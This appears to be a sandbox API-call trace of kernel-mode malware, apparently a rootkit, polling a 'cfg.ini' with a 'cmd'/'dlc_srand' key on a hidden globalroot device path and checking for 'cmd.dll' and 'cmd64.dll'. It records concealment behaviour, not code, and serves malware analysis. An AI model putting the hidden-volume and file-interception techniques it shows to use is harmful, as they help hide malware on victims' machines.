[0122.643] KeEnterCriticalRegion () [0122.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.643] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.643] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.643] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.643] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.643] IdePortDispatch () returned 0x103 [0122.643] KeWaitForMutexObject () returned 0x0 [0122.643] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.643] KeLeaveCriticalRegion () [0122.643] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.643] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.643] KeEnterCriticalRegion () [0122.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.643] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cfb000 [0122.643] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.643] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.643] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.643] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.643] IdePortDispatch () returned 0x103 [0122.643] KeWaitForMutexObject () returned 0x0 [0122.643] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.644] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.644] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.644] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.644] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.644] IdePortDispatch () returned 0x103 [0122.644] KeWaitForMutexObject () returned 0x0 [0122.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.644] KeLeaveCriticalRegion () [0122.644] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.644] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.644] KeEnterCriticalRegion () [0122.644] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.644] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.644] KeLeaveCriticalRegion () [0122.644] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.644] KeEnterCriticalRegion () [0122.644] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.644] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.645] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.645] KeLeaveCriticalRegion () [0122.645] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.645] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.645] KeEnterCriticalRegion () [0122.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.645] ExFreePoolWithTag (P=0xfffffa8003be5e50, Tag=0x0) [0122.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.645] KeLeaveCriticalRegion () [0122.645] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.645] ReleaseMutex (hMutex=0xf0) returned 1 [0122.645] Sleep (dwMilliseconds=0x124f80) [0122.653] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.653] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.653] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.653] KeEnterCriticalRegion () [0122.653] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.653] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.653] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.653] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.653] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.653] IdePortDispatch () returned 0x103 [0122.653] KeWaitForMutexObject () returned 0x0 [0122.653] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.654] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.654] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.654] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.654] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.654] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcd3c0 [0122.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.654] KeLeaveCriticalRegion () [0122.654] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.654] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.654] KeEnterCriticalRegion () [0122.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.654] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.654] KeLeaveCriticalRegion () [0122.654] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.654] KeEnterCriticalRegion () [0122.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.654] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.654] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.654] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.654] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.654] IdePortDispatch () returned 0x103 [0122.654] KeWaitForMutexObject () returned 0x0 [0122.654] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.654] KeLeaveCriticalRegion () [0122.654] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.654] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.654] KeEnterCriticalRegion () [0122.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.655] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cfe000 [0122.655] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.655] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.655] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.655] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.655] IdePortDispatch () returned 0x103 [0122.655] KeWaitForMutexObject () returned 0x0 [0122.655] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.655] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.655] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.655] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.655] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.655] IdePortDispatch () returned 0x103 [0122.655] KeWaitForMutexObject () returned 0x0 [0122.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.655] KeLeaveCriticalRegion () [0122.655] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.656] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.656] KeEnterCriticalRegion () [0122.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.656] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.656] KeLeaveCriticalRegion () [0122.656] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.656] KeEnterCriticalRegion () [0122.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.656] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.656] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be59f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.656] KeLeaveCriticalRegion () [0122.656] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.656] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.656] KeEnterCriticalRegion () [0122.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.656] ExFreePoolWithTag (P=0xfffffa8003bcd3c0, Tag=0x0) [0122.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.656] KeLeaveCriticalRegion () [0122.656] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.656] ReleaseMutex (hMutex=0xf0) returned 1 [0122.656] Sleep (dwMilliseconds=0x124f80) [0122.671] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.671] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.671] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.671] KeEnterCriticalRegion () [0122.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.671] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.671] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.671] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.671] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.671] IdePortDispatch () returned 0x103 [0122.671] KeWaitForMutexObject () returned 0x0 [0122.672] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.672] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.672] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.672] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.672] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.672] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6400 [0122.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.672] KeLeaveCriticalRegion () [0122.672] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.672] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.672] KeEnterCriticalRegion () [0122.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.672] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.672] KeLeaveCriticalRegion () [0122.672] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.672] KeEnterCriticalRegion () [0122.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.672] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.672] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.672] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.672] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.672] IdePortDispatch () returned 0x103 [0122.672] KeWaitForMutexObject () returned 0x0 [0122.672] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.672] KeLeaveCriticalRegion () [0122.672] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.672] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.672] KeEnterCriticalRegion () [0122.673] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.673] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d03000 [0122.673] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.673] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.673] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.673] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.673] IdePortDispatch () returned 0x103 [0122.673] KeWaitForMutexObject () returned 0x0 [0122.673] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.673] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.673] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.673] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.673] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.673] IdePortDispatch () returned 0x103 [0122.673] KeWaitForMutexObject () returned 0x0 [0122.673] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.673] KeLeaveCriticalRegion () [0122.673] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.674] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.674] KeEnterCriticalRegion () [0122.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.674] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.674] KeLeaveCriticalRegion () [0122.674] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.674] KeEnterCriticalRegion () [0122.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.674] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.674] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.674] KeLeaveCriticalRegion () [0122.674] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.674] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.674] KeEnterCriticalRegion () [0122.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.674] ExFreePoolWithTag (P=0xfffffa8003be6400, Tag=0x0) [0122.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.674] KeLeaveCriticalRegion () [0122.674] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.675] ReleaseMutex (hMutex=0xf0) returned 1 [0122.675] Sleep (dwMilliseconds=0x124f80) [0122.691] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.691] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.691] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.691] KeEnterCriticalRegion () [0122.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.691] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.691] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.691] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.691] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.691] IdePortDispatch () returned 0x103 [0122.691] KeWaitForMutexObject () returned 0x0 [0122.691] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.691] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.691] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.691] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.691] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.691] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5e50 [0122.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.691] KeLeaveCriticalRegion () [0122.691] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.691] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.691] KeEnterCriticalRegion () [0122.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.691] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.691] KeLeaveCriticalRegion () [0122.691] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.691] KeEnterCriticalRegion () [0122.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.691] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.691] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.691] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.691] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.691] IdePortDispatch () returned 0x103 [0122.692] KeWaitForMutexObject () returned 0x0 [0122.692] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.692] KeLeaveCriticalRegion () [0122.692] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.692] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.692] KeEnterCriticalRegion () [0122.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.692] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d08000 [0122.692] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.692] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.692] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.692] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.692] IdePortDispatch () returned 0x103 [0122.692] KeWaitForMutexObject () returned 0x0 [0122.692] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.692] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.692] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.692] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) 